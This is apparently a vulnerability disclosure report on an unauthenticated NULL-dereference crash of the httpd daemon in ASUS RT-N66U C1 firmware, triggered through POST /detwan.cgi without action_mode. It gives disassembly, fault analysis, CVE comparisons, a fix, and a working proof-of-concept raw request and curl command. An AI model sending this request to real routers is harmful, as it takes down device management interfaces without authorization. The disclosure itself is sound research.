VULNERABILITY
TECHNICAL REPORT

Missing action_mode causes NULL dereference and httpd DoS

ASUS RT-N66U C1

Firmware 3.0.0.4.384_32738-gc9a116a

Component: /usr/sbin/httpd
Endpoint: POST /detwan.cgi
Primary weakness: CWE-476

Report date: 2026-10-27
Authorized security research document

Executive Summary

Firmware-specific technical analysis

Affected Product

Vendor	ASUSTeK Computer Inc.
Product	ASUS RT-N66U C1
Firmware	`3.0.0.4.384_32738-gc9a116a`
Package	`RT-N66U_C1_3.0.0.4_384_32738-gc9a116a.trx`
Component	`/usr/sbin/httpd  (HTTP banner: httpd/2.0)`
Architecture	ELF32 ARM EABI5
HTTPD SHA-256	`b03a4460513894fcdd8a5f9a04921d9f859b7ff4ebac1d1e399ff370f65c7afd`
Endpoint	`POST /detwan.cgi`
Handler	`do_detwan_cgi at binary offset 0x34498`
Primary CWE	CWE-476: NULL Pointer Dereference
Contributing CWE	CWE-20: Improper Input Validation

Finding

A request to /detwan.cgi that does not contain action_mode causes do_detwan_cgi to obtain a NULL pointer. The handler logs this value as a string but never checks it for NULL. Execution then reaches strcmp(action_mode, "GetWanStatus"). The first byte load at 0x3e010 in the vendor's libc strcmp implementation reads from address zero. The resulting memory fault terminates the httpd process.

The attack is deterministic, requires one small HTTP request, and does not depend on a payload overflow. It causes denial of service to the management HTTP interface. The confirmed impact is limited to availability in the user-space HTTP daemon; this report does not claim code execution or kernel corruption.

Key condition: the lookup must evaluate to NULL. A non-null value that does not match GetWanStatus may alter the response, but does not reach the NULL dereference.

Vulnerable Code Path

Locations are offsets within the analyzed httpd binary

Route pattern	`detwan.cgi* at 0x52b4e`
Route table entry	`handler pointer at 0x61228`
Handler	`0x34498`
Field lookup helper	`0x10618`
strcmp call	`0x344e4`
Return address	`0x344e8`
Compare operand	`GetWanStatus at 0x4f724`
Vendor libc strcmp	`/lib/libc.so.0 offset 0x3e010`

Decompiled Logic

```
action_mode = get_json_or_config_string("action_mode", json);
json_object_new_object(action_mode);

logmessage_normal("HTTPD", "%s: [%s]\n",
                  "do_detwan_cgi", action_mode);

if (!strcmp(action_mode, "GetWanStatus")) {
    ...
}
```

ARM Call Site

```
344b4  LDR     R0, =aActionMode
344b8  BL      get_json_or_config_string
344bc  MOV     R5, R0
...
344d8  BL      logmessage_normal
344dc  MOV     R0, R5
344e0  LDR     R1, =aGetwanstatus
344e4  BL      strcmp
344e8  CMP     R0, #0
344ec  BNE     loc_34558
```

There is no null comparison or conditional branch between the lookup and the strcmp call. R5 receives the lookup result at 0x344bc and is loaded into R0 at 0x344dc. The call at 0x344e4 therefore receives the NULL pointer unchanged.

Stack Layout and Fault Mechanics

Offsets and values from the captured fault

do_detwan_cgi Framing

The prologue at 0x34498 is PUSH {R0-R6,LR}, creating a 0x20-byte frame. The callee-saved register slots are also used as local storage. At the strcmp call, the caller-side frame is at 0xbeffd0a0.

```
caller SP -> 0xbeffd0a0  saved R0       0xbeffd0e6
             0xbeffd0a4  saved R1       0x000b9160
             0xbeffd0a8  v10 / JSON      0x00000000
             0xbeffd0ac  v11 / arg4      0x00034498
             0xbeffd0b0  saved R4       0xbeffd0e6
             0xbeffd0b4  saved R5       0x00000002
             0xbeffd0b8  saved R6       0x00000000
             0xbeffd0bc  saved LR       0x0000f564
```

Callee Frame at Fault Time

```
strcmp SP -> 0xbeffd090  saved R4       0x000bd590
              0xbeffd094  saved R5       0x00000000
              0xbeffd098  saved R6       0x000b9160
              0xbeffd09c  return LR      0x000344e8
```

Vendor libc strcmp

```
0003e010 <strcmp>:
    3e010: ldrb r2, [r0], #1
    3e014: ldrb r3, [r1], #1
    3e018: cmp  r2, #1
    3e01c: cmpcs r2, r3
    3e020: beq  3e010
    3e024: sub  r0, r2, r3
    3e028: mov  pc, lr
```

At entry, R0 is NULL and R1 is 0x4f724, the GetWanStatus string. The first instruction dereferences R0. The kernel translates the invalid read into SIGSEGV. The saved return address 0x344e8 identifies the instruction immediately following the vulnerable call.

Proof of Concept

Single request; no authentication material

Raw Request

```
POST /detwan.cgi HTTP/1.1
Host: <ROUTER_IP>
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Accept: */*
Connection: close

netmask=FUZZ&refresh=FUZZ&error=FUZZ&action=FUZZ&enable=FUZZ
```

Equivalent curl Command

```
curl -i --max-time 5 \
  -A 'Mozilla/5.0' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary 'netmask=FUZZ&refresh=FUZZ&error=FUZZ&action=FUZZ&enable=FUZZ' \
  http://<ROUTER_IP>/detwan.cgi
```

Expected Observation

- The handler obtains NULL for action_mode.
- Diagnostic output may contain: HTTPD: do_detwan_cgi: [(null)].
- The first strcmp load accesses address zero.
- httpd receives SIGSEGV and terminates.
- The connection closes, potentially without a normal HTTP response.
- The management interface remains unavailable until httpd restarts or the device reboots.

The filler form fields are not the cause. The essential condition is that action_mode is absent after request parsing. The request contains no cookie, token, or administrator credentials.

Reproducibility and Duplicate Analysis

Public disclosure review as of 2026-10-27

Reproducibility

The vulnerable path depends only on the handler receiving no action_mode value. It contains no random selection, race, heap layout dependency, or attacker-controlled length requirement before the fault. Replaying the same request after httpd is restarted should reproduce the same NULL argument and call-site return address 0x344e8.

No Exact Public CVE Match Identified

NVD searches for detwan.cgi and GetWanStatus did not identify an exact record. The do_detwan_cgi search returned a related format-string CVE, but its weakness class, affected products, privileges, and input path are different.

CVE-2023-35086

This CVE is also in do_detwan_cgi, but concerns logmessage_normal and CWE-134 format-string handling. It requires administrator privileges and lists RT-AX56U V2 3.0.0.4.386_50460 and RT-AC86U 3.0.0.4_386_51529. In this firmware, the format is the fixed literal "%s: [%s]\n"; the crash occurs later at strcmp with a NULL value.

CVE-2023-34358

This is an unauthenticated RT-AX88U httpd DoS involving a particular User-Agent and a string comparison in web.c. It does not identify the /detwan.cgi action_mode path or the RT-N66U C1 build analyzed here.

CVE-2018-17127

This CVE is associated with the same 384_32738 release family and is also a NULL dereference. It affects GT-AC5300 through blocking_request.cgi and a missing timestap value. The endpoint, product, and missing parameter differ from the issue in this report.

Duplicate-review conclusion: no exact public CVE was identified for the /detwan.cgi action_mode NULL dereference. This is a distinct trigger within a known weakness pattern, not a duplicate of the three related CVE records above.

Impact, Remediation, and Disclosure

Scope is limited to confirmed behavior

Security Impact

A single request can terminate the management HTTP daemon. The same process serves the login page, management UI, and CGI operations, so the consequence is a denial of service against the device management surface. Repeated requests can suppress the service if a supervisor restarts it.

The confirmed chain does not establish memory write, code execution, credential disclosure, or configuration modification. The fault is a user-space httpd termination and does not directly panic the Linux kernel.

Remediation

Validate the lookup result before any string operation. A missing action_mode should produce a defined 400-class request error or an equivalent controlled response.

```
if (action_mode == NULL) {
    /* return a defined client-error response */
    return;
}
```

Audit sibling handlers for direct use of JSON/configuration lookup results in strcmp, strncmp, and strstr. The vendor should also review logging calls that use %s with potentially NULL values.

Submission Notes

The submission should include the firmware version, httpd SHA-256, raw request, function and libc offsets, register state, and the difference from related CVE records. Testing should be performed only on authorized devices or representative firmware images.

References

NVD: CVE-2023-35086 — https://nvd.nist.gov/vuln/detail/CVE-2023-35086

NVD: CVE-2023-34358 — https://nvd.nist.gov/vuln/detail/CVE-2023-34358

NVD: CVE-2018-17127 — https://nvd.nist.gov/vuln/detail/CVE-2018-17127

NVD Search API, queried 2026-10-27 for RT-N66U, detwan.cgi, do_detwan_cgi, and GetWanStatus.